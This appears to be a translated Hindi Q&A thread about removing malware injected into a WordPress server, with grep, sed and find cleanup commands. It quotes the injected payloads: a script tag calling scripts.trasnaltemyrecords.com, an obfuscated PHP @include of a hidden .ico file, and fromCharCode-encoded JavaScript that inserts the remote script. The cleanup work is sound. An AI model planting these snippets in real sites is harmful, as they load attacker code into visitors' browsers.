इसलिए मेरा पूरा सर्वर हैक हो गया या मैलवेयर की समस्या हो गई। मेरी साइट वर्डप्रेस पर आधारित है और मेरे सर्वर पर होस्ट की गई अधिकांश साइटें वर्डप्रेस आधारित हैं। हैकर ने हर एक फाइल और डेटाबेस में कोड की इस लाइन को जोड़ा
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
मैंने इसे grep का उपयोग करके खोजा
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
मैं इसे पूरी फ़ाइल संरचना में बदलने की कोशिश कर रहा हूँ sed
और मैंने निम्न कमांड लिखी है।
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
मैं index.php
पहले एक फ़ाइल पर स्ट्रिंग को बदलने की कोशिश कर रहा हूं , इसलिए मुझे पता है कि यह काम करता है।
और मुझे पता है कि मेरा कोड गलत है। इसमें मेरी मदद करो।
मैंने @ Eran के कोड के साथ कोशिश की और इसने पूरी लाइन को हटा दिया, जो कि अच्छी और उम्मीद के मुताबिक है। हालांकि, कुल शब्दजाल यह है
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
और जब मैं सभी सामग्री को हटाना चाहता हूं, तो मैं php ओपनिंग टैग रखना चाहता हूं <?php
।
हालांकि @ slybloty का समाधान आसान है और इसने काम किया।
इसलिए सभी प्रभावित फ़ाइलों से कोड को पूरी तरह से हटाने के लिए। मैं निम्नलिखित 3 कमांड चला रहा हूं, इसके लिए आप सभी का धन्यवाद।
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- स्क्रिप्ट लाइन को हटाने के लिएfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
लाइन को हटाने के लिएfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- टिप्पणी लाइन को हटाने के लिए
इसके अलावा, मैंने सभी 3 कमांडों को फिर से चलाया '*.html'
, क्योंकि हैकर की स्क्रिप्ट ने सभी निर्देशिकाओं में अवांछित index.html बनाया था। मुझे यकीन नहीं था कि अगर थोक में इन index.html को हटाना सही तरीका है।
अब, मुझे अभी भी जंक फ़ाइलों और इसके निशान का पता लगाने की आवश्यकता है।
हैकर स्क्रिप्ट में जेएस कोड भी जोड़ा गया है।
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
sed
यह देखने की कोशिश कर रहा हूं कि क्या मैं ऐसा कर सकता हूं ।
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
। उदाहरण के लिए, संपादित की जाने वाली सभी फ़ाइलों के लिए sed -i.bak
एक *.bak
फ़ाइल बनाएंगे । जब while...grep
लूप के साथ उपयोग किया जाता है , तो आप केवल उन फ़ाइलों का बैकअप लेंगे जो उस स्ट्रिंग को समाहित करते हैं। सभी अतिरिक्त टिप्पणियों के लिए क्षमा करें, लेकिन मेरी राय में, मैलवेयर "डेक पर सभी हाथ" परिदृश्य है।